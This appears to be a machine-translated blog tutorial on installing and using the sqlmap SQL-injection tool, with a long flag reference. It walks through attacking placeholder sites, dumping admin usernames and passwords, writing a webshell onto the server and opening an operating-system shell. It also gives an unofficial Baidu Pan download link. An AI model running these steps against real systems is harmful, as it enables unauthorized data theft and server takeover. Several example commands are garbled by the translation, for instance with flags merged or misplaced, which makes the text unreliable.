Sqlmap download installation and basic command usage

This article describes the installation and configuration environment variables for SQLMAP.

By the way, I enclose some commonly used commands

SQLMAP-64 bit, Python

download link : http://pan.baidu.com/s/1c0D82fm

Password: D7EC

Python installs all the way by default, and then extracts the Sqlmap.

Here take my computer as an example, into the Sqlmap directory, copy the path. (Do not have Chinese characters present)

Then right-click My Computer, properties, select Advanced System settings

Select Environment variables

Locate the path in the system variable. Then edit, enter the path we just copied in the front, and then add an English semicolon-";"

and then save

Open cmd and enter "sqlmap.py" to see some parameters of Sqlmap.

-u specifies url--such as target http://xxx.xx/x.asp?id=1 so it is in the console inputsqlmap.py -u "http://xxx.xx/x.asp?id=1"

-P Specify test parameters

-B Get banner--For example the target is http://xxx.xx/x.asp?id=1 then on the console inputsqlmap.py -u "http://xxx.xx/x.asp?id=1" -b
–dbs enumerate the database-for example, the target is http://xxx.xx/x.asp?id=1, then in the console inputsqlmap.py -u "http://xxx.xx/x.asp?id=1" --dbs
–is-dba whether it is administrator rights
–current-db Current Database
–current-user Current User
–tables enumerates the table names of the database-for example, the target is http://xxx.xx/x.asp?id=1, then the console inputsqlmap.py -u "http://xxx.xx/x.asp?id=1" --tables
–count retrieving the number of all entries
–columns gets the column name of the table
–dump gets the data in the table, including the column
–dump-all Dump DBMS database all table items
–level Test level (1-5), default = 1
-V Show More information

Read database-read table-read table--Get content

-D Specify Database

-T Specify table

-C Specify column

=======================================

-B Get Banner
-P Specify test parameters
-G get URL from Google,-G "inurl:aspx?id="
–gpage=googlepage Specify Google page numbers
Whether the –union-check supports union injection
–union-cols Union query table records
–union-test Union Statement Test
–union-use with Union injection
–proxy Agent Injection
-threads with multithreading
–user-agent Custom User-agent
–referer=referer HTTP Referer Header
–proxy=proxy using proxies
–string Specifying keywords
–tor Creating an anonymous network of Tor
–predict-output Common query Output predictions
–keep-alive using persistent HTTP (S) connections
–eval=evalcode using HTTP parameter pollution
-a,-all Query All
–hostname Host Name
–is-dba whether it is administrator rights
–users Enumerate all Users
–passwords Enumerate all user passwords
–roles Enumerating all user roles
–schema Enumerating DBMS Patterns
–count retrieving the number of all entries
–dump Dump DBMS database table project, need to make field name (column name)
–dump-all Dump DBMS database all table items
–search Search column, table, or database name
–exclude-sysdbs to exclude system databases when enumerating tables
–sql-query=query Executing SQL statements
–file-read=rfile Read operation
–file-write=wfile Write operations
–file-dest=dfile Absolute Path Write
–reg-read read a Windows registry key value
–reg-add add a Windows registry key value data
–reg-del Deleting a Windows registry key value data
–reg-key=regkey Windows registry key
–reg-value=regval Windows registry key values
-reg-data=regdata Key-Value entry data for Windows registry
–reg-type=regtype value types for Windows registry keys
–csv-del=csvdel delimit the characters used in the CSV output (default ",")
–dump-format=dump Dump Data Format (CSV (default), HTML or SQLITE)
–hex using the hexadecimal data retrieval feature
–output-dir=odir directory path for custom output
–update Update Sqlmap
–purge-output safe removal of all content output directories
–CHECK-WAF heuristic Check Waf/ips/ids protection
–OS-PWN Rebound Shell
–cookie=cookie Specify HTTP cookie, pre-login
–random-agent using a randomly selected User-agent header
–tamper=tamper using the Sqlmap plugin
–level Test level (1-5), default = 1

Refer to official documentation: Https://github.com/sqlmapproject/sqlmap/wiki/Usage.

Two articles on the dark clouds:

http://drops.wooyun.org/tips/143

http://zone.wooyun.org/content/14496

Friendly tips:

1, press the Keyboard ↑ button to view the previous command

2, recommended to prepare a Youdao translation

Sqlmap is also an injection tool commonly used in infiltration, in fact, in the injection of tools, a sqlmap is enough, as long as you use the cooked, seconds to kill all kinds of tools, just a convenience problem, SQL injection on the other hand is the manual party, this is another matter.

Today, I have been sorting out the Sqlmap notes published for everyone's reference.

Sqlmap Introduction

The SQLMAP supports five different injection modes:

• 1, based on the Boolean blind, that can be based on the return page to determine the conditions of true and false injection.
• 2, the time-based blind, that can not be based on the page return content to determine any information, using conditional statements to see if the time Delay statement execution (that is, the page return time is increased) to determine.
• 3, based on the injection of error, that is, the page will return errors, or the results of injected statements directly back to the page.
• 4, joint query injection, you can use the union of the case of injection.
• 5, heap query injection, you can execute the execution of multiple statements at the same time injection.

The SQLMAP supported databases are

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, and SAP MaxDB

Detection Injection BASIC format

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″

Use LEVEL1 to detect all database types by default

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″–dbms Mysql–level 3

Specifies that the database type is MySQL with a level of 3 (a total of 5 levels, the higher the level, the more comprehensive the detection)

Follow 302 Jump

When the page error is injected, the automatic jump to another page needs to follow 302.
When the injection error, the first error and then jump, do not need to follow 302.
The goal is to trace the error message.

Cookie Injection

When the program has anti-get injection, you can use a cookie to inject
Sqlmap-u "http://www.baidu.com/shownews.asp" –cookie "Id=11″–level 2 (only level up to 2 will detect cookies)

Injecting from the post packet

You can use tools such as Burpsuite or temperdata to grab the post package

Sqlmap-r "C:\tools\request.txt"-P "username" –dbms mysql specify username parameters

Get database basic information after injection success

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″–dbms mysql–level 3–dbs

What databases are queried

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″–dbms mysql–level test–tables

Query what tables are in the test database

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″–dbms mysql–level test-t admin–columns

Query the admin table in the test database for which fields

Sqlmap-u "Http://www.vuln.cn/post.php?id=1″–dbms mysql–level test-t admin-c" Username,password "–dump

Dump out the data in the field username and password

Other commands refer to the following

Search fields from the database

Sqlmap-r "C:\tools\request.txt" –dbms mysql-d dedecms–search-c Admin,password
Search the DEDECMS database for the field admin or password.

Read and write files

First, you need to find the physical path of the site, followed by a writable or readable permission.

–file-read=rfile read files from the backend database management System file system (physical path)
–file-write=wfile edit a local file on the backend database management System file system (MSSQL Xp_shell)
The absolute path to the file written by the database management system on the –file-dest=dfile backend
#示例:
Sqlmap-r "C:\request.txt"-P Id–dbms mysql–file-dest "e:\php\htdocs\dvwa\inc\include\1.php" –file-write "f:\webshell\ 1112.php "

Using the shell command:

Sqlmap-r "C:\tools\request.txt"-P ID–DMS Mysql–os-shell
Next specify the Web site writable directory:
"E:\php\htdocs\dvwa"

#注: MySQL does not support column directories and only supports reading individual files. SQL Server can column directories, cannot read and write files, but requires one (Xp_dirtree function)

Sqlmap verbose command:

• –IS-DBA Current user rights (Root permission)
• –dbs all databases
• –CURRENT-DB Web site Current database
• –users All database Users
• –current-user Current Database user
• –random-agent structure Random User-agent
• –passwords Database Password
• –proxy http://local:8080–threads 10 (can customize thread acceleration) proxy
• Delay time of –time-sec=timesec DBMS response (default is 5 seconds)

——————————————————————————————————

Options (optional):

• –version Display the program's version number and exit
• -H,–HELP displays this help message and exits
• -V VERBOSE verbose level: 0-6 (default = 1)

Target (destination):

At a minimum, you need to set one of these options to set the destination URL.

• -D Direct connects directly to the database.
• -U url,–url=url the destination URL.
• -l list resolves the target from the log of the burp or WebScarab agent.
• -R RequestFile loading HTTP requests from a file.
• -G googledork The result of processing Google dork as the destination URL.
• -C configfile Load options from the INI configuration file.

Request (requested):

These options can be used to specify how to connect to the destination URL.

• –data=data data strings sent via post
• –cookie=cookie HTTP Cookie Header
• –cookie-urlencode URL encoding generated by cookie injection
• –drop-set-cookie Ignore Set–cookie header information for response
• –user-agent=agent specifying the HTTP user–agent header
• –random-agent using a randomly selected HTTP User–agent header
• –referer=referer specifying the HTTP referer header
• –headers=headers line break, add other HTTP headers
• –auth-type=atype HTTP Authentication type (base, digest, or NTLM) (Basic, Digest or NTLM)
• –auth-cred=acred HTTP Authentication credentials (user name: password)
• –auth-cert=acert HTTP Authentication certificate (key_file,cert_file)
• –proxy=proxy using an HTTP proxy to connect to the destination URL
• –proxy-cred=pcred HTTP proxy authentication credentials (user name: password)
• –ignore-proxy ignoring the system default HTTP proxy
• –delay=delay delay time in seconds between each HTTP request
• –timeout=timeout time to wait for the connection to time out (default is 30 seconds)
• –retries=retries time the connection is reconnected after timeout (default 3)
• –scope=scope regular expression of filter targets from the provided agent log
• –safe-url=safurl URL addresses that are frequently accessed during testing
• –safe-freq=safreq test requests between two visits, give a secure URL

Enumeration (enum):

These options can be used to enumerate the information of the backend database management system, the structure in the table, and the data. In addition, you can also run
your own SQL statement.

• -b,–banner retrieving the identity of the database management system
• –current-user Retrieving database management system Current user
• –CURRENT-DB Retrieving database management system current database
• –IS-DBA detecting whether the DBMS current user is DBA
• –users Enumerating Database management system users
• –passwords enumeration of database management system user password hashes
• –privileges enumerate the permissions of the database management system user
• –roles enumerating the roles of database management system users
• –dbs Enumeration Database Management System Database
• -D DBname The specified database name to enumerate
• -T tblname the specified database table to be enumerated (for example:-t tablename–columns)
• –tables enumeration of tables in the DBMS database
• –columns Enumerating DBMS database table columns
• –dump the table entries in the database of the DUMP database management system
• –dump-all dumps all the entries in the DBMS database table
• –search Search column (s), table (s) and/or database name (s)
• -C COL The database column to enumerate
• -u user for enumerating database users
• –exclude-sysdbs to exclude system databases when enumerating tables
• –start=limitstart first query output into search
• –stop=limitstop the output of the last query into the search
• –first=firstchar character retrieval of the first query output word
• –last=lastchar the output character retrieval of the last query
• –sql-query=query the SQL statement to execute
• –sql-shell tips for Interactive SQL shell

Optimization (optimized):

These options can be used to optimize the performance of Sqlmap.

• -O Turn on all optimization switches
• –predict-output prediction of common query output
• –keep-alive using a persistent HTTP (S) connection
• –null-connection retrieving page lengths from no actual HTTP response body
• –threads=threads Maximum http (S) request concurrency (default = 1)

Injection (injection):

These options can be used to specify which parameters are tested, provide custom injection payloads, and optional tamper scripts.

• -p testparameter parameters to test (S)
• –dbms=dbms the DBMS of the forced backend for this value
• –os=os the DBMS operating system for the forced backend is this value
• –prefix=prefix Injecting payload String prefix
• –suffix=suffix Injecting payload string suffix
• –tamper=tamper using the given script (S) to tamper with the injected data

Detection (detection):

These options can be used to specify how the contents of the HTTP response page are parsed and compared when the SQL blinds are made.

• –level=level level of test Execution (1-5, default = 1)
• –risk=risk risk of performing tests (0-3, default = 1)
• –string=string when query is valid when the page matches a string
• –regexp=regexp a regular expression on a page when the query is valid
• –text-only based on comparing pages in text content only

Techniques (Tips):

These options can be used to adjust specific SQL injection tests.

• –technique=tech SQL injection Technology test (default Beust)
• Delay time of –time-sec=timesec DBMS response (default is 5 seconds)
• –union-cols=ucols set range for test union query injection
• –union-char=uchar characters used for brute-force guessing of the number of columns

Fingerprint (fingerprint):

• -f,–fingerprint perform check of extensive DBMS version thumbprint

Brute forces (brute force):

These options can be used to run brute force checks.

• –common-tables Check Existence common table
• –common-columns Check existence Common column

user-defined function Injection (user-defined functions injection):
These options can be used to create user-defined functions.

–udf-inject injecting user-defined functions
–shared-lib=shlib local path to shared library

File system access (Access FileSystem):

These options can be used to access the underlying file system of the backend database management system.

• –file-read=rfile reading files from the backend database management System file system
• –file-write=wfile editing a local file on the backend database management System file system
• The absolute path to the file written by the database management system on the –file-dest=dfile backend

Operating system access (operating system accesses):

These options can be used to access the underlying operating system of the back-end database management system.

• –os-cmd=oscmd executing operating system commands
• –os-shell the shell of an interactive operating system
• –os-pwn get an OOB shell,meterpreter or VNC
• –os-smbrelay One-click to get an OOB shell,meterpreter or VNC
• –os-bof stored Procedure Buffer Overflow utilization
• –PRIV-ESC Database Process User privilege elevation
• –msf-path=msfpath Metasploit Framework Local installation path
• –tmp-path=tmppath absolute path to remote temp file directory

Windows Registry access:

These options can be used to access the Windows registry of the back-end database management system.

• –reg-read read a Windows registry key value
• –reg-add write a Windows registry key value data
• –reg-del deleting Windows registry key values
• –reg-key=regkey Windows registry key
• –reg-value=regval Windows registry key values
• –reg-data=regdata Windows registry key value data
• –reg-type=regtype Windows registry key value types

These options can be used to set some general working parameters.

• -T trafficfile log all HTTP traffic to a text file
• -S Sessionfile save and restore all data for retrieving session files
• –flush-session Refresh the current target session file
• –fresh-queries ignores query results stored in the session file
• –eta shows the estimated time of arrival for each output
• –update Update Sqlmap
• –save file save option to INI profile
• –batch never asks for user input, and uses all default configurations.

Miscellaneous (Miscellaneous):

• –BEEP alert when SQL injection is found
• Detection and testing of –check-payload IDs for injection payloads
• –cleanup Sqlmap specific UDF and table cleanup DBMS
• –forms parsing and testing of target URLs
• –gpage=googlepage using Google dork results from the specified page number
• –page-rank Google dork Results Display page rank (PR)
• –parse-errors parsing the database management system error message from the response page
• –replicate copy dump data to a sqlite3 database
• –tor using the default Tor (VIDALIA/PRIVOXY/POLIPO) proxy address
• –wizard Simple Wizard Interface for novice users

Sqlmap download installation and basic command usage